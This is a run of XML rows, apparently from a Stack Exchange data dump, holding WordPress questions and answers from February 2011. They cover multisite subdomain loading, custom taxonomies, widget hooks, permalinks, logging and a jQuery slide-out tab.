  <row Id="10167" PostTypeId="2" ParentId="10150" CreationDate="2011-02-23T05:05:44.280" Score="1" ViewCount="" Body="&lt;p&gt;I'm in the process of establishing a members site. You can find a bunch of premium plugins to pay for...and a few free ones like &lt;a href=&quot;http://www.primothemes.com/post/product/s2member-membership-plugin-with-paypal/&quot; rel=&quot;nofollow&quot;&gt;s2member&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/membership/&quot; rel=&quot;nofollow&quot;&gt;Membership lite&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt;. I decided to go with Members and write everything else i need (like paypal integration and so on) myself.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-23T05:05:44.280" CommentCount="2" />
  <row Id="10168" PostTypeId="1" AcceptedAnswerId="11017" CreationDate="2011-02-23T05:06:17.523" Score="2" ViewCount="282" Body="&lt;p&gt;I have a subfolder install of WP multisite, let's say at &quot;domain.com&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need to load the WP environment in subdomains of domain.com, say &quot;sub1.domain.com&quot;, &quot;sub2.domain.com&quot;, ... &quot;subN.domain.com&quot;. Note that these subdomains do not correspond to WP blogs. But I do need to have access to the logged in user, the database, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up wildcard subdomains to load a php file that will display what I need for any particular subdomain, and I am including &quot;wp-load.php&quot; early in that file. The problem is that near line 99 in &quot;ms-settings.php&quot; it redirects to the main page of the site because $_SERVER[ 'HTTP_HOST'] is the subdomain, not the main site domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I load the WP environment correctly in a non-blog subdomain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a prototype that works, but I'm worried about the side effects of what I'm doing so it would be great if someone who's familiar with the core could weigh in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am doing is pre-populating the $current_site and $current_blog globals appropriately before including &quot;wp-load&quot;. Then, &quot;ms-settings&quot; doesn't try to create these and doesn't hit the code path that detects the subdomain and redirects to the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can now access member information (e.g. using 'get_userdata') and $wpdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this seem like a reasonable approach?&lt;/p&gt;&#xA;" OwnerUserId="3419" LastEditorUserId="3419" LastEditorDisplayName="" LastEditDate="2011-03-04T04:16:21.157" LastActivityDate="2011-03-04T12:04:23.640" Title="What is the best way to load the WP environment in a subdomain of my multisite Wordpress install?" Tags="&lt;multisite&gt;&lt;best-practices&gt;&lt;wp-load.php&gt;&lt;subdomains&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="10169" PostTypeId="2" ParentId="9964" CreationDate="2011-02-23T05:09:45.997" Score="0" ViewCount="" Body="&lt;p&gt;You could create an &lt;em&gt;extended profile field&lt;/em&gt; named &lt;strong&gt;Tags&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to show this in your &lt;code&gt;members-loop.php&lt;/code&gt; you could add: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php bp_member_profile_data('field=Tags') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2011-02-23T05:09:45.997" />
  <row Id="10170" PostTypeId="2" ParentId="10165" CreationDate="2011-02-23T05:10:26.707" Score="2" ViewCount="" Body="&lt;p&gt;If you use &lt;code&gt;is_singular()&lt;/code&gt;, you're also checking for if it's a singular item on the page. Do &lt;code&gt;$post-&amp;gt;post_type == 'my-post-type'&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: if you use &lt;code&gt;post_class()&lt;/code&gt; you get this and more done automatically.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-23T05:10:26.707" CommentCount="1" />
  <row Id="10171" PostTypeId="2" ParentId="10168" CreationDate="2011-02-23T05:16:35.017" Score="2" ViewCount="" Body="&lt;p&gt;You could give a try to &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Mu Domain Mapping&lt;/a&gt; plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it better fits on your request to include &lt;code&gt;wp-blog-header.php&lt;/code&gt; in the top of your php file of your subdomain, so you can load also the template functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    include(dirname(__FILE__) . &quot;/../path_to_my_blog/wp-blog-header.php&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can do a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_redirect&lt;/a&gt; after the include of &lt;code&gt;wp-load.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3414" LastEditorUserId="3414" LastEditorDisplayName="" LastEditDate="2011-02-23T16:21:34.340" LastActivityDate="2011-02-23T16:21:34.340" CommentCount="7" />
  <row Id="10172" PostTypeId="2" ParentId="10149" CreationDate="2011-02-23T05:21:55.523" Score="0" ViewCount="" Body="&lt;p&gt;I usually add a section like this to my shortcode callbacks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_array($atts)) {&#xA;    extract(shortcode_atts(array(&#xA;            'primary_att' =&amp;gt; 'primary_default',&#xA;            ...&#xA;        ), $atts));&#xA;} else {&#xA;    $primary_att = $atts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This enables you to pass a 'primary' attribute (replace &lt;code&gt;primary_att&lt;/code&gt; with whatever you primary attribute is called) directly into the function, without wrapping it in an array...in your case it could be 'categories' and you could call it like &lt;code&gt;mediacategories_func(6);&lt;/code&gt; then.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-23T05:21:55.523" />
  <row Id="10173" PostTypeId="2" ParentId="10154" CreationDate="2011-02-23T06:20:58.500" Score="0" ViewCount="" Body="&lt;p&gt;This isn't a great security idea because the wp-login or wp-admin page in of itself does not pose a security threat. Though it can be argued that if someone had your password/username they might not be able to find where to login, thus security through obscurity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As kronus said you could probably to some fancy re-directs, not sure how well that would scale with future releases or if it is even worth the trouble, personally I don't think its worth it and I take security seriously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest some better ideas for your login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable ssl for the login/admin (htpps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Password protect your page using .htaccess ( so you will have a double login).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a plugin like Limit Login Attempts, which locks out a user after failed logins.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-02-23T06:20:58.500" CommentCount="1" />
  <row Id="10174" PostTypeId="1" AcceptedAnswerId="10183" CreationDate="2011-02-23T06:24:56.997" Score="0" ViewCount="60" Body="&lt;p&gt;I have a wordpress blog installed on my machine here is 1 strange requirement which i got form my team but i dont know how i should do they say &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blog pages should be segregated under &quot;blog/&quot; or such subdomain. For example: &lt;a href=&quot;http://example.com/blog/hello-world&quot; rel=&quot;nofollow&quot;&gt;http://example.com/blog/hello-world&lt;/a&gt; rather than &lt;a href=&quot;http://example.com/hello-world&quot; rel=&quot;nofollow&quot;&gt;http://example.com/hello-world&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how should i do this??. My index page of the website is the wordpress front page&lt;/p&gt;&#xA;" OwnerUserId="3356" LastActivityDate="2011-02-23T09:03:15.997" Title="How to change my wordpress URL on intranet" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10175" PostTypeId="1" CreationDate="2011-02-23T06:29:46.520" Score="0" ViewCount="156" Body="&lt;p&gt;Almost all themes display categories (with its permalink) by default. I am looking for similar type of code to add in my theme. From where can I get it?&#xA;To create custom taxonomies, I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/more-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;More Taxonomies&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-02-23T08:31:57.833" Title="How to display custom taxonomies in posts?" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10176" PostTypeId="1" CreationDate="2011-02-23T07:10:34.113" Score="1" ViewCount="156" Body="&lt;p&gt;I can change label of comments by altering Comment(s) from parameter of following function: &lt;code&gt;comments_popup_link('No Comments;', '1 Comment;', '% Comments;');&lt;/code&gt;&#xA;But, seems that title attribute is returned from core modules.&#xA;Suggest me to alter title attribute without editing core modules.&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-08-19T22:32:27.547" Title="How to change title attribute returned by comments_popup_link()?" Tags="&lt;hooks&gt;&lt;comment-meta&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10177" PostTypeId="1" AcceptedAnswerId="10181" CreationDate="2011-02-23T07:20:08.527" Score="0" ViewCount="194" Body="&lt;p&gt;First hope you will take a look example widget &lt;a href=&quot;http://pastebin.com/2cL7BmgF&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/2cL7BmgF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have male and female option. Let say I select male and I want add male.css to &lt;code&gt;wp_head&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put something like this into the code it's not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head','load_face');&#xA;function load_face() {&#xA;  wp_enqueue_style('style', WP_PLUGIN_URL . '/sample/'.$sex.'.css', null, null, 'screen');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know what is the correct code to archive my goal. :)&lt;/p&gt;&#xA;" OwnerUserId="2921" LastActivityDate="2011-02-23T08:44:48.797" Title="How do I use add_action on custom widget?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="10178" PostTypeId="2" ParentId="10175" CreationDate="2011-02-23T08:31:57.833" Score="2" ViewCount="" Body="&lt;p&gt;the easiest way to list terms of custom taxonomy and display them would be using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php get_the_term_list( $id, $taxonomy, $before, $sep, $after ) ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example in the loop , my custom taxonomy is 'jobs' list as li&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;ul&amp;gt;&amp;lt;?php get_the_term_list( $post-&amp;gt;ID, 'jobs', &amp;lt;li class=&quot;jobs_item&quot;&amp;gt;, '', '&amp;lt;/li&amp;gt; ) ?&amp;gt; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-23T08:31:57.833" CommentCount="1" />
  <row Id="10179" PostTypeId="1" CreationDate="2011-02-23T08:33:42.527" Score="0" ViewCount="38" Body="&lt;p&gt;Basically, it should be a plugin that allows users to like differents elements on the page: posts, comments and replies (bbPress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-23T08:40:23.590" Title="Is there a Wordpress plugin (or perhaps a Facebook social plugin) which enables users to like posts, comments, and replies?" Tags="&lt;facebook&gt;" AnswerCount="1" />
  <row Id="10180" PostTypeId="2" ParentId="10179" CreationDate="2011-02-23T08:40:23.590" Score="1" ViewCount="" Body="&lt;p&gt;There's plenty of them, just go to the WordPress Plugin repository or use the 'add new plugin' function from within WP and search for either 'like' or 'rating'.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-23T08:40:23.590" />
  <row Id="10181" PostTypeId="2" ParentId="10177" CreationDate="2011-02-23T08:44:48.797" Score="2" ViewCount="" Body="&lt;p&gt;when calling a function within a class you need to use $this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;prefixadd_action('wp_head',array(&amp;amp;$this,'load_face'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you will need to populate the value of $sex&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function load_face($instance) {&#xA;  $sex = $instance['sex'];&#xA;  wp_enqueue_style('style', WP_PLUGIN_URL . '/sample/'.$sex.'.css', null, null, 'screen');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-23T08:44:48.797" CommentCount="3" />
  <row Id="10182" PostTypeId="1" AcceptedAnswerId="10597" CreationDate="2011-02-23T08:48:03.690" Score="2" ViewCount="90" Body="&lt;p&gt;I'm writing two plugins at the moment which need to (optionally) log stuff...lots of stuff...somewhere. Since i don't like the 'you need to have proper permissions in this and that folder' messages of some plugins, ideally, i'd like to do it in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But before i start creating my own db tables (which is also something i don't like for plugins to be doing), i'm wondering if WordPress has anything that could help with suchalike enterprise hidden in the dark deep of its codebase catacombs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-23T09:09:39.717" LastActivityDate="2011-02-28T14:18:25.240" Title="Core framework/helpers for logging stuff?" Tags="&lt;plugins&gt;&lt;logging&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="10183" PostTypeId="2" ParentId="10174" CreationDate="2011-02-23T09:03:15.997" Score="0" ViewCount="" Body="&lt;p&gt;Add &quot;blog&quot; to your Permalink settings, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/%post_title%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-02-23T09:03:15.997" />
  <row Id="10184" PostTypeId="1" AcceptedAnswerId="10490" CreationDate="2011-02-23T09:08:47.667" Score="0" ViewCount="137" Body="&lt;p&gt;For some reason, if I log into my WordPress dashboard, I get logged out of my bbPress forum. When I log into my bbPress forum, I get logged out of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed all of the instructions correctly, and the installation told me it validated my information and it's all correct, so why is it not letting me stay logged into both at the same time?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-23T11:23:05.633" LastActivityDate="2011-07-28T20:22:44.767" Title="WordPress and bbPress Login conflicts?" Tags="&lt;wp-admin&gt;&lt;login&gt;&lt;bbpress&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="10185" PostTypeId="2" ParentId="10182" CreationDate="2011-02-23T09:24:28.107" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress makes use of the reliable PHP error logging. It provides an API of it's own and it's fully documented here: &lt;a href=&quot;http://php.net/manual/en/book.errorfunc.php&quot; rel=&quot;nofollow&quot;&gt;Error Handling and Logging&lt;/a&gt; and often it's already well integrated into server configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For optional logging you can just use &lt;a href=&quot;http://www.php.net/manual/en/function.trigger-error.php&quot; rel=&quot;nofollow&quot;&gt;trigger_error()&lt;/a&gt; with it's default error-type notice (E_USER_NOTICE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing so will ensure you're streamlined with wordpress error reporting and logging.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Wordpress, does not have a logging API or something that does even close to that burried down deep in it's spaghetti code. You can however make use of existing PHP based solutions that do provide high-level logging functionality like &lt;a href=&quot;http://logging.apache.org/log4php/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Apache Log4php&lt;/strong&gt;&lt;/a&gt; which supports logging into different storages, incl. databases.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-23T10:57:37.110" LastActivityDate="2011-02-23T10:57:37.110" CommentCount="7" />
  <row Id="10186" PostTypeId="1" CreationDate="2011-02-23T09:26:09.820" Score="0" ViewCount="124" Body="&lt;p&gt;I'm developing a post type that allows the insertion of certain special tags (think something like shortcodes, might even use shortcodes in the end) into the content. The whole thing allows for other components/plugins to hook their own tags into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i'd like to make this more comfortable for the user by providing 'template snippets' in the visual editor. I know TinyMCE has a templates plugin that can do that, but i'm wondering if WP comes with some sort of API to support it?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-23T09:26:09.820" Title="Template snippets for TinyMCE RichText editor?" Tags="&lt;tinymce&gt;" />
  <row Id="10187" PostTypeId="1" CreationDate="2011-02-23T09:56:12.397" Score="0" ViewCount="425" Body="&lt;p&gt;I am using a Jquery for slide in and slide out tab, the position previously was left, the image use to come on left side and when I clicked on it, it comes out towards right side,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some changes in position, I wanted the image to be on left side and when clicked it should come towards right side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it, and its working fine on google-chrome, when I checked in firefox, I was that the image is half coming on scroll bar check this image&#xA;&lt;img src=&quot;http://i.stack.imgur.com/QABK3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;you can see it on my site also: www.mbas.in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My jquery code is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_scripts', 'enqueue_slideout' );&#xA;&#xA;function enqueue_slideout() {&#xA;    wp_enqueue_script( 'jquery-slideout', 'http://tab-slide-out.googlecode.com/svn/trunk/jquery.tabSlideOut.v2.0.js', array('jquery'), '2.0', false );&#xA;}&#xA;add_action( 'wp_head', 'setup_slideout_tabs' );&#xA;&#xA;function setup_slideout_tabs() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;        $('.slide-out-div').tabSlideOut({&#xA;            tabHandle: '.handle',                     &#xA;            pathToTabImage: '&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/images/contact_tab.png', &#xA;            imageHeight: '122px',                     &#xA;            imageWidth: '40px',                       &#xA;            tabLocation: 'right',                      &#xA;            speed: 300,                               &#xA;            action: 'click',                          &#xA;            topPos: '160px',                          &#xA;            fixedPosition: true                      &#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My footer Code, where the div is used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slide-out-div&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;handle&quot;  href=&quot;#&quot;&amp;gt;Content&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h3&amp;gt;For resolving query&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.slide-out-div {&#xA;        padding:20px 10px 10px 20px;&#xA;          width: 300px;&#xA;          background: fixed #F5F5F5;&#xA;          border: 1px solid #29216d;&#xA;      }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-02-28T09:27:18.860" LastActivityDate="2011-03-22T23:06:22.660" Title="Jquery Slide out tab is coming on scroll bar" Tags="&lt;jquery&gt;&lt;styles&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="10188" PostTypeId="1" AcceptedAnswerId="10190" CreationDate="2011-02-23T10:12:34.637" Score="0" ViewCount="312" Body="&lt;p&gt;I want to output the taxonomies associated with a post in a 'title' attribute, so it needs to be unformatted. I know about get_terms and get_terms_list, but the problem is that you need to provide which taxonomy you want to get on forehand. But what if you have an archive page which lists multiple different post_types... you don't know which taxonomies are associated with a certain post as you don't know which post-type it is. So I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posttaxonomies = get_the_taxonomies();&#xA;  if ($posttaxonomies) {&#xA;    foreach($posttaxonomies as $taxonomy) {&#xA;      $thetaxonomies .= $taxonomy-&amp;gt;name . ' '; &#xA;  }  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which doesn't output anything. I know I must be doing something wrong, but am stumped with it.&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-03-01T21:48:02.023" Title="outputting posts' taxonomies: cant get 'get_the_taxonomies' working" Tags="&lt;posts&gt;&lt;the-taxonomies&gt;" AnswerCount="1" />
  <row Id="10189" PostTypeId="1" CreationDate="2011-02-23T10:28:40.873" Score="0" ViewCount="25" Body="&lt;p&gt;I'm trying to add a facebook like buttons to topics and replies in a Wordpress installation which has activated the bbPress plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions of doing this?&#xA;&lt;img src=&quot;http://i.stack.imgur.com/oNnAK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-23T12:18:45.267" LastActivityDate="2011-02-23T12:18:45.267" Title="Adding a facebook like buttons to topics and replies (Wordpress instalation using the bbPress plugin)" Tags="&lt;facebook&gt;" />
  <row Id="10190" PostTypeId="2" ParentId="10188" CreationDate="2011-02-23T10:35:28.383" Score="3" ViewCount="" Body="&lt;p&gt;if you are in the loop you can use &lt;code&gt;get_post_taxonomies&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxs = get_post_taxonomies($post-&amp;gt;ID);&#xA;foreach ($taxs as $tax){&#xA;    // $tax holds the taxonomy name so you can&#xA;    //use either get_terms or get_terms_list&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'll try to explain better, since you don't know what the post type is and you can't tell what taxonomies are associated with that type you first get the list of taxonomies that are associated with each post (no matter what the post type is) like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxs = get_post_taxonomies($post-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now $taxs is an array that holds the names of the taxonomies associated with the current post in the loop. so we can run a foreach loop to output the post specific terms for each taxonomy using get_terms or get_terms_list for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $taxs = get_post_taxonomies($post-&amp;gt;ID);&#xA; foreach ($taxs as $tax){&#xA;    $before = $tax . &quot;: &quot;;&#xA;    echo get_the_term_list( $post-&amp;gt;ID, $tax, $before, ' ', '' );&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;update 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well if you don't wont it to echo post_tags then just check and skip it and as for getting just the terms and not the formatted html use &lt;code&gt;wp_get_object_terms&lt;/code&gt; instead of &lt;code&gt;get_the_term_list&lt;/code&gt; so something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxs = get_post_taxonomies($post-&amp;gt;ID);&#xA;foreach ($taxs as $tax){&#xA;    if (!$tax = &quot;post_tags&quot;){ //exclude tags&#xA;        print_r(wp_get_object_terms( $post-&amp;gt;ID, $tax)); // its an array of the terms&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-01T21:48:02.023" LastActivityDate="2011-03-01T21:48:02.023" CommentCount="7" />
  <row Id="10191" PostTypeId="1" CreationDate="2011-02-23T10:39:22.063" Score="0" ViewCount="267" Body="&lt;p&gt;I'm trying to build a picture gallery with custom post type in my theme and I think i figure it out almost everything but the call in the template, I already have the custom post type in the functions.php, I have a Page with a custom call to the post type and it’s working (the post are showing in the page with the template) what I cannot figure it out it’s the call for the href that should go to open the image bigger probably with some modal like lightbox or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to mention that I’m trying to use feature image and already have created some image sizes for it in the functions.php, I’m going to paste the code for you to understand… Thank you in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom post type template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*      &#xA;    Template Name: test Post Type Gallery   &#xA;*/&#xA;get_header(); &#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'bird', 'posts_per_page' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;        &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;gallery-ul&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;the-picture&quot;&amp;gt;&amp;lt;?php the_title( '&amp;lt;h2 class=&quot;picture-title&quot;&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;a href=&quot;-----?????????--------&quot;&amp;gt; &amp;lt;?php the_post_thumbnail(array(200,200)); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Functions.php&lt;/strong&gt;&lt;br&gt;&#xA;This is for the Size of the Images&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_theme_support' ) ) { &#xA;    add_theme_support( 'post-thumbnails' );&#xA;    set_post_thumbnail_size( 250, 250, true ); // Normal post thumbnails&#xA;    add_image_size( 'medium-picture-thumbnail', 400, 400 ); // Medium thumbnail size&#xA;    add_image_size( 'big-picture-thumbnail', 700, 700 ); // Big thumbnail size&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3422" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-23T15:59:27.743" LastActivityDate="2011-02-23T16:23:08.563" Title="How can i link a custom post type thumbnail to intermediate size" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;images&gt;&lt;gallery&gt;" AnswerCount="2" />
  <row Id="10192" PostTypeId="1" CreationDate="2011-02-23T10:51:44.800" Score="0" ViewCount="55" Body="&lt;p&gt;I Work about a month looking for a solution to this .., I tested with new WP plugins and Query, but I can not find a solution. If you can help me, thank you very much in advance, sincerely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I opted for the plugin query multiple taxonomies, I filter 3 taxonomies, this works fine, but here's the problem, I show different loops and paginated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QMT forms:&#xA;TAX1: architecture, engineering, etc. ..&#xA;TAX2: open, new, close&#xA;TAX3: bydate1, bydate2, bydate3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;architecture + open + bydate1&#xA;show all this selection sorted by field A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;architecture + open + bydate2&#xA;show all this selection sorted by field B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;architecture + open + bydate3&#xA;show all this selection sorted by field C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3421" LastEditorUserId="3421" LastEditorDisplayName="" LastEditDate="2011-02-23T11:40:52.317" LastActivityDate="2011-02-23T11:40:52.317" Title="Loops sorted by date field value and paginated by selection with Multiple Query Taxonomies" Tags="&lt;3.0&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;sort&gt;" />
